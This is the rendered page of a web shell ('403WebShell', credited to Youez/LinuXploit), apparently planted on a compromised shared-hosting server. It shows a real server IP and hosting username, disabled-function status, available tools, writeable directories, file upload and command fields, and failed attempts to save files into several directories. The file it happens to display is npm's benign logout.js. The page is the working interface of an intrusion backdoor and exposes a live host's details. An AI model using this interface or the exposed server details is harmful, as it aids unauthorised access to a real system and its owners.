Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 52.14.234.146
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/node_modules/npm/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/node_modules/npm/lib/logout.js
'use strict'

const BB = require('bluebird')

const eu = encodeURIComponent
const getAuth = require('npm-registry-fetch/auth.js')
const log = require('npmlog')
const npm = require('./npm.js')
const npmConfig = require('./config/figgy-config.js')
const npmFetch = require('libnpm/fetch')

logout.usage = 'npm logout [--registry=<url>] [--scope=<@scope>]'

function afterLogout (normalized) {
  var scope = npm.config.get('scope')

  if (scope) npm.config.del(scope + ':registry')

  npm.config.clearCredentialsByURI(normalized)
  return BB.fromNode(cb => npm.config.save('user', cb))
}

module.exports = logout
function logout (args, cb) {
  const opts = npmConfig()
  BB.try(() => {
    const reg = npmFetch.pickRegistry('foo', opts)
    const auth = getAuth(reg, opts)
    if (auth.token) {
      log.verbose('logout', 'clearing session token for', reg)
      return npmFetch(`/-/user/token/${eu(auth.token)}`, opts.concat({
        method: 'DELETE',
        ignoreBody: true
      })).then(() => afterLogout(reg))
    } else if (auth.username || auth.password) {
      log.verbose('logout', 'clearing user credentials for', reg)
      return afterLogout(reg)
    } else {
      throw new Error(
        'Not logged in to', reg + ',', "so can't log out."
      )
    }
  }).nodeify(cb)
}

Youez - 2016 - github.com/yon3zu
LinuXploit